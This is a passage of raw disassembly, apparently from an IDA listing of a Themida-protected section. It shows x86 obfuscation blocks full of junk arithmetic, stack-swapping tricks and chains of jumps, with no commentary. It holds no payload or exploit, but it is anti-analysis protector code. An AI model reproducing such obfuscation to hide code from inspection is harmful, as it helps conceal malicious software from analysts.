		push	ebx
		mov	ebx, 1
		sub	edx, ebx
		pop	ebx
		push	55AAh
		mov	[esp], edx
		not	dword ptr [esp]
		jmp	loc_55FAA9
; ---------------------------------------------------------------------------


loc_558902:				; CODE XREF: Themida_:0055FB12j
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_559624
; ---------------------------------------------------------------------------


loc_55890E:				; CODE XREF: Themida_:0055AEBCj
		add	esp, 4
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0CC763C5h
		shr	ebx, 5
		or	ebx, 1535653Bh
		push	edx
		mov	edx, 37E01853h
		jmp	loc_55A568
; ---------------------------------------------------------------------------


loc_558931:				; CODE XREF: Themida_:0055EE09j
		mov	[esp], ebp
		mov	ebp, 713458CDh
		or	ebp, 0EE326AFh
		push	edx
		jmp	loc_55DB2A
; ---------------------------------------------------------------------------


loc_558945:				; CODE XREF: Themida_:00562AE4j
		push	edi
		mov	edi, 159A082Fh
		jmp	loc_55C369
; ---------------------------------------------------------------------------


loc_558950:				; CODE XREF: Themida_:00559A50j
		xor	esi, [esp]
		jmp	loc_55BB57
; ---------------------------------------------------------------------------


loc_558958:				; CODE XREF: Themida_:00565A37j
		shr	ebp, 5
		jmp	loc_551FCB
; ---------------------------------------------------------------------------


loc_558960:				; CODE XREF: Themida_:00554754j
		mov	bh, 0D8h
		push	ebx
		jmp	loc_5568EC
; ---------------------------------------------------------------------------


loc_558968:				; CODE XREF: Themida_:0055E0F1j
		mov	esi, 6266031Ah
		sub	edi, esi
		pop	esi
		shr	edi, 1
		dec	edi
		push	32A8h
		mov	[esp], edi
		jmp	loc_55123A
; ---------------------------------------------------------------------------


loc_558980:				; CODE XREF: Themida_:00557662j
		mov	eax, 1C384A5Dh
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, edx
		sub	ebx, 1C384A5Dh
		pop	edx
		add	ebx, 365773Ah
		sub	ebx, eax
		sub	ebx, 365773Ah
		push	29B9h
		mov	[esp], ecx
		mov	ecx, 2A174D38h
		push	edx
		jmp	loc_558AA9
; ---------------------------------------------------------------------------


loc_5589BA:				; CODE XREF: Themida_:00555C1Aj
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		push	esi
		mov	esi, 162D3D41h
		mov	ebp, esi
		pop	esi
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		push	eax
		push	ecx
		push	14080EA6h
		pop	ecx
		push	ecx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5567D6
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_55C5C2
; ---------------------------------------------------------------------------


loc_5589FD:				; CODE XREF: Themida_:00561B3Dj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55C3FC
; ---------------------------------------------------------------------------


loc_558A08:				; CODE XREF: Themida_:0055B5C2j
		mov	ebp, 670D5A84h
		push	61EBh
		mov	[esp], ebx
		mov	ebx, 0C0D3045h
		neg	ebx
		inc	ebx
		jmp	loc_56303B
; ---------------------------------------------------------------------------


loc_558A22:				; CODE XREF: Themida_:005537D2j
		push	ecx
		jmp	loc_556C31
; ---------------------------------------------------------------------------


loc_558A28:				; CODE XREF: Themida_:00553C00j
		add	ecx, esi
		sub	ecx, 799655FDh
		pop	esi
		shl	ecx, 1
		shr	ecx, 6
		push	0F0Bh
		mov	[esp], esi
		push	59F4h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	55285C56h
		pop	esi
		push	edi
		mov	edi, 38F17290h
		push	edx
		jmp	loc_552CF0
; ---------------------------------------------------------------------------


loc_558A5E:				; CODE XREF: Themida_:00561D0Dj
		add	ah, 45h
		sub	bl, ah
		pop	eax
		movzx	eax, al
		mov	dx, [esp]
		push	5132h
		mov	[esp], ebp
		jmp	loc_555DC2
; ---------------------------------------------------------------------------


loc_558A78:				; CODE XREF: Themida_:0055F806j
		and	ecx, 63DB3659h
		shl	ecx, 2
		not	ecx
		shl	ecx, 5
		not	ecx
		push	ebp
		jmp	loc_551693
; ---------------------------------------------------------------------------


loc_558A8E:				; CODE XREF: Themida_:00560660j
		mov	esi, 49EF7E36h
		add	esi, 3B03154Ch
		jmp	loc_55E681
; ---------------------------------------------------------------------------


loc_558A9E:				; CODE XREF: Themida_:0055DEDDj
		add	ecx, edx
		pop	edx
		add	ecx, 4
		jmp	loc_56270C
; ---------------------------------------------------------------------------


loc_558AA9:				; CODE XREF: Themida_:005589B5j
		push	eax
		jmp	loc_564D20
; ---------------------------------------------------------------------------


loc_558AAF:				; CODE XREF: Themida_:00552ECDj
		pop	esp
		push	56B2h
		mov	[esp], ebx
		push	edx
		push	39C3083Dh
		mov	edx, [esp]
		add	esp, 4
		shr	edx, 7
		push	edi
		mov	edi, 73860Ch
		sub	edx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_5551B3
; ---------------------------------------------------------------------------


loc_558ADE:				; CODE XREF: Themida_:00559AC1j
		mov	[esp], ebx
		push	eax
		mov	eax, 5080040Ah
		xor	eax, 35D86D95h
		mov	ebx, eax
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_564C14
; ---------------------------------------------------------------------------


loc_558AFA:				; CODE XREF: Themida_:0055F43Aj
		push	edx
		jmp	loc_558623
; ---------------------------------------------------------------------------


loc_558B00:				; CODE XREF: Themida_:005555CDj
		mov	eax, 166F0682h
		push	eax
		dec	dword ptr [esp]
		pop	eax
		jmp	loc_55DA87
; ---------------------------------------------------------------------------


loc_558B0F:				; CODE XREF: Themida_:0055D818j
		add	edx, 71E514A4h
		sub	edx, ebp
		sub	edx, 71E514A4h
		pop	ebp
		mov	esi, edx
		pop	edx
		push	ecx
		push	218B3E9Ch
		jmp	loc_562C0A
; ---------------------------------------------------------------------------


loc_558B2C:				; CODE XREF: Themida_:00564629j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_563068
; ---------------------------------------------------------------------------


loc_558B3B:				; CODE XREF: Themida_:005634C5j
		push	ecx
		mov	ecx, 636C43D2h
		not	ecx
		neg	ecx
		or	ecx, 0DD246BEh
		shr	ecx, 3
		xor	ecx, 34C376Dh
		add	eax, ecx
		pop	ecx
		mov	edi, eax
		pop	eax
		sub	esi, edi
		mov	edi, [esp]
		jmp	loc_55A4CC
; ---------------------------------------------------------------------------


loc_558B64:				; CODE XREF: Themida_:00561D28j
		mov	eax, 0ADC21AF4h
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_551D13
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_558B88:				; CODE XREF: Themida_:005506AFj
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_5620DB
; ---------------------------------------------------------------------------


loc_558B96:				; CODE XREF: Themida_:005605E2j
		add	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, ebp
		mov	edi, ebx
		jmp	loc_552BD1
; ---------------------------------------------------------------------------


loc_558BA3:				; CODE XREF: Themida_:0055069Aj
		add	esi, ecx
		sub	esi, 21F30FCAh
		pop	ecx
		push	ebp
		push	edi
		jmp	loc_564E2F
; ---------------------------------------------------------------------------


loc_558BB3:				; CODE XREF: Themida_:005601FCj
		mov	esi, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_55E2DE
; ---------------------------------------------------------------------------


loc_558BD5:				; CODE XREF: Themida_:005506FAj
		mov	[esp], edx
		jmp	loc_55C013
; ---------------------------------------------------------------------------


loc_558BDD:				; CODE XREF: Themida_:00555DE1j
		push	ebp
		jmp	loc_55C8CF
; ---------------------------------------------------------------------------


loc_558BE3:				; CODE XREF: Themida_:005552BCj
		add	dword ptr [esp+8], 0BC843E0h
		sub	[esp+8], ecx
		sub	dword ptr [esp+8], 0BC843E0h
		pop	ecx
		add	[esp+4], eax
		add	dword ptr [esp+4], 66D512FFh
		sub	dword ptr [esp+4], 2B964049h
		pop	eax
		jmp	loc_55D0E7
; ---------------------------------------------------------------------------


loc_558C12:				; CODE XREF: Themida_:0055997Ej
		mov	[esp], edx
		jmp	loc_557963
; ---------------------------------------------------------------------------


loc_558C1A:				; CODE XREF: Themida_:0055169Aj
		pop	ebp
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_563E6C
; ---------------------------------------------------------------------------


loc_558C29:				; CODE XREF: Themida_:005659EEj
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5651DF
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5559F1
; ---------------------------------------------------------------------------


loc_558C45:				; CODE XREF: Themida_:00564E2Aj
		neg	eax
		shr	eax, 4
		push	4EB5h
		mov	[esp], ebp
		mov	ebp, 3F646B6Ah
		xor	ebp, 70A0051h
		dec	ebp
		xor	ebp, 380B23h
		dec	ebp
		jmp	loc_561D21
; ---------------------------------------------------------------------------


loc_558C6A:				; CODE XREF: Themida_:00561BCBj
		neg	edx
		xor	edx, 453977F4h
		shr	edx, 4
		shl	edx, 8
		shr	edx, 2
		add	edx, 0C4E05484h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55CCF5
; ---------------------------------------------------------------------------


loc_558C98:				; CODE XREF: Themida_:00559F1Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55E821
; ---------------------------------------------------------------------------


loc_558CC6:				; CODE XREF: Themida_:0056357Cj
		pop	ebp
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55BBFA
; ---------------------------------------------------------------------------


loc_558CDD:				; CODE XREF: Themida_:005557EBj
		pop	eax
		jmp	loc_561435
; ---------------------------------------------------------------------------


loc_558CE3:				; CODE XREF: Themida_:00553D45j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_561951
; ---------------------------------------------------------------------------


loc_558CF6:				; CODE XREF: Themida_:0055E448j
		mov	ecx, [esp]
		jmp	loc_553B7F
; ---------------------------------------------------------------------------


loc_558CFE:				; CODE XREF: Themida_:0055253Cj
		push	ebx
		mov	ebx, 10852FADh
		push	eax
		mov	eax, 503B6DC5h
		add	edx, 21EC22ABh
		jmp	loc_55864D
; ---------------------------------------------------------------------------


loc_558D15:				; CODE XREF: Themida_:00562805j
		sub	dl, 0E9h
		jmp	loc_553E15
; ---------------------------------------------------------------------------


loc_558D1D:				; CODE XREF: Themida_:00565274j
		mov	ebp, esi
		pop	esi
		add	[esp+4], ebp
		jmp	loc_556342
; ---------------------------------------------------------------------------


loc_558D29:				; CODE XREF: Themida_:005593BFj
		pop	ebx
		jmp	loc_562AA7
; ---------------------------------------------------------------------------


loc_558D2F:				; CODE XREF: Themida_:0055DCE9j
		shl	esi, 8
		push	ebp
		mov	ebp, 547F7AC4h
		dec	ebp
		not	ebp
		push	6AF0h
		mov	[esp], ecx
		push	ebp
		push	547F6F66h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55D1D8
; ---------------------------------------------------------------------------


loc_558D57:				; CODE XREF: Themida_:0055C6F9j
		add	esp, 4
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5552E4
; ---------------------------------------------------------------------------


loc_558D6C:				; CODE XREF: Themida_:005551AEj
		mov	ebx, esp
		push	esi
		mov	esi, 47C62EFBh
		dec	esi
		jmp	loc_562428
; ---------------------------------------------------------------------------


loc_558D7A:				; CODE XREF: Themida_:00552BB2j
		push	edx
		mov	edx, 6136A5Dh
		jmp	loc_55424C
; ---------------------------------------------------------------------------


loc_558D85:				; CODE XREF: Themida_:0055DD45j
		push	ebx
		push	ebp
		push	0C37649h
		jmp	loc_5638B9
; ---------------------------------------------------------------------------


loc_558D91:				; CODE XREF: Themida_:005596ECj
		pop	eax
		add	edx, 1671463Bh
		add	edx, ebx
		push	eax
		jmp	loc_55695E
; ---------------------------------------------------------------------------


loc_558DA0:				; CODE XREF: Themida_:0055E374j
		inc	edx
		xor	edx, 3D726F66h
		mov	eax, edx
		jmp	loc_563EF9
; ---------------------------------------------------------------------------


loc_558DAE:				; CODE XREF: Themida_:00559B7Dj
		or	edi, 3F783C8Dh
		sub	edi, 8429A587h
		mov	edx, edi
		pop	edi
		dec	edx
		or	edx, 65550367h
		jmp	loc_55544A
; ---------------------------------------------------------------------------


loc_558DC9:				; CODE XREF: Themida_:0055C5D1j
		mov	edi, 11D22953h
		or	edi, 25A26C9Ch
		push	edx
		mov	edx, 1C651A3Eh
		sub	edi, edx
		jmp	loc_5595DC
; ---------------------------------------------------------------------------


loc_558DE1:				; CODE XREF: Themida_:0056463Aj
		add	edi, esi
		sub	edi, 582C1E4Fh
		add	edi, 0E0F27B7h
		jmp	loc_55626E
; ---------------------------------------------------------------------------


loc_558DF4:				; CODE XREF: Themida_:00560EE2j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_555059
; ---------------------------------------------------------------------------


loc_558DFD:				; CODE XREF: Themida_:0055BE33j
		mov	edx, 0F13E9EFDh
		jmp	loc_55A3DC
; ---------------------------------------------------------------------------


loc_558E07:				; CODE XREF: Themida_:00562111j
		sub	al, 6Dh
		push	ebx
		mov	bl, 0A1h
		push	cx
		mov	ch, 5Ch
		jmp	loc_553391
; ---------------------------------------------------------------------------


loc_558E15:				; CODE XREF: Themida_:005581F4j
		pop	esp
		push	4FADh
		mov	[esp], edx
		jmp	loc_558873
; ---------------------------------------------------------------------------


loc_558E23:				; CODE XREF: Themida_:0055D99Dj
		mov	eax, [esp]
		push	4BF9h
		mov	[esp], ebp
		jmp	loc_55BCA4
; ---------------------------------------------------------------------------


loc_558E33:				; CODE XREF: Themida_:00555276j
		shl	eax, 4
		sub	eax, 87E7F0BCh
		add	edx, eax
		jmp	loc_55C0EE
; ---------------------------------------------------------------------------


loc_558E42:				; CODE XREF: Themida_:005528C2j
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_5592BC
; ---------------------------------------------------------------------------


loc_558E50:				; CODE XREF: Themida_:0056240Ej
		or	edx, 52382D35h
		dec	edx
		jmp	loc_55A608
; ---------------------------------------------------------------------------


loc_558E5C:				; CODE XREF: Themida_:0055E919j
		pop	ecx
		pop	ebx
		push	esi
		mov	esi, 26A31FDCh
		jmp	loc_555E21
; ---------------------------------------------------------------------------


loc_558E69:				; CODE XREF: Themida_:0055BA65j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 399955A6h
		push	ebp
		mov	ebp, 399955A2h
		add	ebx, 49772895h
		sub	ebx, ebp
		sub	ebx, 49772895h
		pop	ebp
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55C9F5
; ---------------------------------------------------------------------------


loc_558ED4:				; CODE XREF: Themida_:0055AEA5j
		xor	ch, bh
		pop	ebx
		add	ch, 0FFh
		add	ch, 0CBh
		xor	al, ch
		pop	ecx
		jmp	loc_55A683
; ---------------------------------------------------------------------------


loc_558EE5:				; CODE XREF: Themida_:00555D31j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_558EEA:				; CODE XREF: Themida_:005646C7j
		mov	[esp], edx
		jmp	loc_551183
; ---------------------------------------------------------------------------


loc_558EF2:				; CODE XREF: Themida_:0055E8EFj
		add	esp, 4
		push	edi
		mov	edi, 2
		sub	eax, 3A611FC0h
		add	eax, edi
		push	edi
		jmp	loc_558726
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	5247h
		mov	[esp], ebx
		push	546Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edx
		push	ebx
		push	eax
		push	67660214h
		pop	eax
		or	eax, 576D0E3Eh
		push	ebp
		mov	ebp, 5AC12C3h
		jmp	loc_55DA5B
; ---------------------------------------------------------------------------


loc_558F3D:				; CODE XREF: Themida_:00551CDDj
		sub	edi, 706985DBh
		and	ebp, edi
		pop	edi
		jmp	loc_557E86
; ---------------------------------------------------------------------------


loc_558F4B:				; CODE XREF: Themida_:0055E217j
		push	1C69h
		jmp	loc_551131
; ---------------------------------------------------------------------------


loc_558F55:				; CODE XREF: Themida_:0055610Aj
		sub	edi, 8296AB4h
		sub	edi, 5B2E6745h
		sub	edi, 0DD23936Ch
		jmp	loc_55288C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5539B1
; ---------------------------------------------------------------------------


loc_558F75:				; CODE XREF: Themida_:0055D64Dj
		mov	[esp], ecx
		jmp	loc_55B14F
; ---------------------------------------------------------------------------


loc_558F7D:				; CODE XREF: Themida_:005598EDj
		mov	ebp, 4B6018FFh
		dec	ebp
		jmp	loc_55A206
; ---------------------------------------------------------------------------


loc_558F88:				; CODE XREF: Themida_:00551304j
		mov	esp, [esp]
		jmp	loc_562930
; ---------------------------------------------------------------------------


loc_558F90:				; CODE XREF: Themida_:00553D75j
		push	ebp
		mov	ebp, 0FB9BEC9Ah
		sub	esi, ebp
		pop	ebp
		neg	esi
		neg	esi
		sub	esi, 40121032h
		jmp	loc_56432F
; ---------------------------------------------------------------------------


loc_558FA8:				; CODE XREF: Themida_:0055BA22j
		mov	edi, [esp]
		push	ebp
		jmp	loc_55E8B7
; ---------------------------------------------------------------------------


loc_558FB1:				; CODE XREF: Themida_:00553994j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_562DB1
; ---------------------------------------------------------------------------


loc_558FBC:				; CODE XREF: Themida_:00551B84j
		push	esi
		mov	esi, 0B5E3592h
		add	esi, 6C694E63h
		shl	esi, 3
		or	esi, 31194ADEh
		neg	esi
		xor	esi, 40C2A006h
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_552803
; ---------------------------------------------------------------------------


loc_558FE3:				; CODE XREF: Themida_:00552A31j
		sub	dl, 98h
		jmp	loc_5573E9
; ---------------------------------------------------------------------------


loc_558FEB:				; CODE XREF: Themida_:0055E62Cj
		add	esp, 4
		push	ebp
		mov	ebp, 359660D6h
		xchg	ecx, ebp
		not	ecx
		jmp	loc_564F79
; ---------------------------------------------------------------------------


loc_559000:				; CODE XREF: Themida_:00557ACAj
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_561E14
; ---------------------------------------------------------------------------


loc_55900F:				; CODE XREF: Themida_:005633E8j
		add	esp, 4
		jmp	loc_5617DB
; ---------------------------------------------------------------------------


loc_559017:				; CODE XREF: Themida_:00555FB8j
		push	edx
		push	eax
		push	5E2C1D39h
		jmp	loc_55A495
; ---------------------------------------------------------------------------


loc_559023:				; CODE XREF: Themida_:0055E64Fj
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56202C
; ---------------------------------------------------------------------------


loc_559039:				; CODE XREF: Themida_:00554EF3j
		not	ecx
		sub	ecx, 4043C71Bh
		jmp	loc_552E76
; ---------------------------------------------------------------------------


loc_559046:				; CODE XREF: Themida_:00550AE7j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_565A50
; ---------------------------------------------------------------------------


loc_559051:				; CODE XREF: Themida_:00558772j
		or	ebx, 52CA544Fh
		sub	ebx, 6403F331h
		xor	edx, ebx
		pop	ebx
		mov	eax, edx
		jmp	loc_55B4E3
; ---------------------------------------------------------------------------


loc_559067:				; CODE XREF: Themida_:005619F8j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		jmp	loc_55953E
; ---------------------------------------------------------------------------


loc_559087:				; CODE XREF: Themida_:0055E7B3j
		add	eax, 4
		jmp	loc_5518FC
; ---------------------------------------------------------------------------


loc_559091:				; CODE XREF: Themida_:0055DB25j
		add	esi, edi
		pop	edi
		add	esi, 407E1D17h
		add	esi, eax
		push	edi
		mov	edi, 7C53687Ah
		neg	edi
		add	edi, 34E54287h
		xor	edi, 5C215D6h
		add	edi, 832A4D3Ch
		jmp	loc_561DBA
; ---------------------------------------------------------------------------


loc_5590BB:				; CODE XREF: Themida_:005574C6j
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_565B36
; ---------------------------------------------------------------------------


loc_5590C7:				; CODE XREF: Themida_:00556F49j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	ch, ah
		pop	ax
		push	ebx
		push	edx
		mov	dh, 2
		and	dh, 29h
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 83h
		dec	bl
		add	bl, 0BCh
		jmp	loc_565070
; ---------------------------------------------------------------------------


loc_5590EF:				; CODE XREF: Themida_:00559A36j
		or	eax, 4DCC6032h
		push	esi
		jmp	loc_551B1F
; ---------------------------------------------------------------------------


loc_5590FA:				; CODE XREF: Themida_:0055A974j
		push	497Bh
		mov	[esp], edx
		push	58C1h
		mov	[esp], eax
		push	edx
		mov	dl, 0FDh
		and	dl, 4Ch
		shl	dl, 5
		shr	dl, 1
		neg	dl
		xor	dl, 83h
		jmp	loc_552494
; ---------------------------------------------------------------------------


loc_55911F:				; CODE XREF: Themida_:00552330j
		push	ebx
		mov	ebx, 9490DFAh
		mov	esi, ebx
		pop	ebx
		sub	esi, 0FFFFFFFFh
		add	esi, 1
		and	esi, 10AC202Bh
		push	edx
		jmp	loc_551570
; ---------------------------------------------------------------------------


loc_55913D:				; CODE XREF: Themida_:0055CEE1j
		sub	edx, 71CB4FF1h
		jmp	loc_553B3A
; ---------------------------------------------------------------------------


loc_559148:				; CODE XREF: Themida_:0055B9D4j
		sub	[edi+24h], eax
		push	dword ptr [esp]
		jmp	loc_55BBD3
; ---------------------------------------------------------------------------


loc_559153:				; CODE XREF: Themida_:00556858j
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		xor	al, ch
		pop	ecx
		jmp	loc_559724
; ---------------------------------------------------------------------------


loc_559160:				; CODE XREF: Themida_:005636BAj
		add	ebx, 756C4393h
		jmp	loc_5632CE
; ---------------------------------------------------------------------------


loc_55916B:				; CODE XREF: Themida_:005620EBj
		pop	edx
		mov	bx, [esp]
		add	esp, 2
		add	al, bl
		push	ebx
		push	edx
		mov	dh, 8Eh
		xor	dh, 4Ah
		mov	bl, dh
		pop	edx
		sub	bl, 12h
		sub	al, 0A3h
		jmp	loc_5611DF
; ---------------------------------------------------------------------------


loc_55918C:				; CODE XREF: Themida_:00562447j
		pop	ebp
		jmp	loc_55BFF8
; ---------------------------------------------------------------------------


loc_559192:				; CODE XREF: Themida_:005630CAj
		add	esp, 4
		jmp	loc_559E24
; ---------------------------------------------------------------------------


loc_55919A:				; CODE XREF: Themida_:0055061Cj
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5591B4:				; CODE XREF: Themida_:00551047j
		push	esi
		mov	esi, 1D085E3h
		sub	eax, esi
		pop	esi
		xor	ebp, eax
		pop	eax
		push	edx
		jmp	loc_55BD94
; ---------------------------------------------------------------------------


loc_5591C6:				; CODE XREF: Themida_:005652A0j
		pop	ecx
		sub	edx, 1D1547FFh
		jmp	loc_5557FC
; ---------------------------------------------------------------------------


loc_5591D2:				; CODE XREF: Themida_:005585F0j
		add	eax, 78C84B98h
		shr	eax, 4
		jmp	loc_55758A
; ---------------------------------------------------------------------------


loc_5591DF:				; CODE XREF: Themida_:00562DB9j
		mov	edi, esp
		jmp	loc_55C5FA
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_557ACF
; ---------------------------------------------------------------------------


loc_5591EE:				; CODE XREF: Themida_:00564107j
		shl	ebp, 1
		push	esi
		jmp	loc_55979A
; ---------------------------------------------------------------------------


loc_5591F6:				; CODE XREF: Themida_:005568C5j
		sub	edi, 0FFFFFFFFh
		or	edi, 328F2C91h
		inc	edi
		dec	edi
		jmp	loc_561D34
; ---------------------------------------------------------------------------


loc_559206:				; CODE XREF: Themida_:00562A5Dj
		pop	eax
		push	7C19h
		mov	[esp], ebp
		mov	ebp, 43F565F3h
		jmp	loc_558154
; ---------------------------------------------------------------------------


loc_559219:				; CODE XREF: Themida_:0055BA08j
		add	esp, 4
		jmp	loc_55467D
; ---------------------------------------------------------------------------


loc_559221:				; CODE XREF: Themida_:005558EBj
		add	esi, eax
		jmp	loc_55FB67
; ---------------------------------------------------------------------------


loc_559228:				; CODE XREF: Themida_:00551FA7j
		pop	esp
		mov	[esp], ebx
		jmp	loc_552128
; ---------------------------------------------------------------------------


loc_559231:				; CODE XREF: Themida_:0055B11Cj
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_55C8B9
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_550545
; ---------------------------------------------------------------------------


loc_559256:				; CODE XREF: Themida_:0055BC6Dj
		add	ecx, edx
		jmp	loc_557242
; ---------------------------------------------------------------------------


loc_55925D:				; CODE XREF: Themida_:00559FD4j
		sub	ebp, 1AD5C685h
		add	eax, ebp
		pop	ebp
		push	ecx
		mov	ecx, 67FF6107h
		add	ebp, ecx
		pop	ecx
		jmp	loc_564A50
; ---------------------------------------------------------------------------


loc_559274:				; CODE XREF: Themida_:005525ADj
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_557B91
; ---------------------------------------------------------------------------


loc_559285:				; CODE XREF: Themida_:00552A23j
		add	esp, 4
		sub	esp, 4
		jmp	loc_553259
; ---------------------------------------------------------------------------


loc_559296:				; CODE XREF: Themida_:0055B27Ej
		mov	edx, edi
		jmp	loc_558713
; ---------------------------------------------------------------------------


loc_55929D:				; CODE XREF: Themida_:0055BB7Aj
		xor	si, 0C774h
		sub	ax, si
		jmp	loc_559D1E
; ---------------------------------------------------------------------------


loc_5592AA:				; CODE XREF: Themida_:005648DAj
		add	eax, edx
		sub	eax, 135B1893h
		push	edi
		mov	edi, 68B4686Eh
		jmp	loc_55AA08
; ---------------------------------------------------------------------------


loc_5592BC:				; CODE XREF: Themida_:00558E4Bj
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 6BFA18CAh
		xor	edx, 754118A0h
		push	eax
		mov	eax, 752709FBh
		jmp	loc_55797E
; ---------------------------------------------------------------------------


loc_5592DB:				; CODE XREF: Themida_:0055AD5Dj
		push	6672h
		mov	[esp], ebp
		push	edi
		mov	edi, 227F23F4h
		mov	ebp, 227F23F0h
		xor	ebp, edi
		pop	edi
		jmp	loc_55C257
; ---------------------------------------------------------------------------


loc_5592F6:				; CODE XREF: Themida_:0056570Cj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	bl, 23h
		sub	bl, al
		add	bl, 23h
		mov	eax, [esp]
		jmp	loc_563176
; ---------------------------------------------------------------------------


loc_559310:				; CODE XREF: Themida_:00559D06j
		sub	ebx, ecx
		pop	ecx
		push	cx
		push	1D1Bh
		mov	[esp], eax
		jmp	loc_551732
; ---------------------------------------------------------------------------


loc_559322:				; CODE XREF: Themida_:005649ADj
		xchg	edi, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_559331:				; CODE XREF: Themida_:00554DCCj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 0
		push	esi
		sub	dword ptr [esp], 79A73E81h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556E66
; ---------------------------------------------------------------------------


loc_559356:				; CODE XREF: Themida_:00553966j
		not	ebp
		sub	ebp, 4FD42C8Fh
		or	ebp, 59CF00BFh
		jmp	loc_5615F1
; ---------------------------------------------------------------------------


loc_559369:				; CODE XREF: Themida_:00561A5Dj
		mov	esi, 66A21BF9h
		neg	esi
		neg	esi
		shl	esi, 7
		sub	esi, 5E29174h
		mov	edx, esi
		jmp	loc_554529
; ---------------------------------------------------------------------------


loc_559382:				; CODE XREF: Themida_:0056429Bj
		not	al
		jmp	loc_559A3B
; ---------------------------------------------------------------------------


loc_559389:				; CODE XREF: Themida_:005511F3j
		pop	eax
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5519E9
; ---------------------------------------------------------------------------


loc_5593A0:				; CODE XREF: Themida_:0055F700j
		add	eax, 2
		jmp	loc_56015A
; ---------------------------------------------------------------------------


loc_5593AA:				; CODE XREF: Themida_:005616A0j
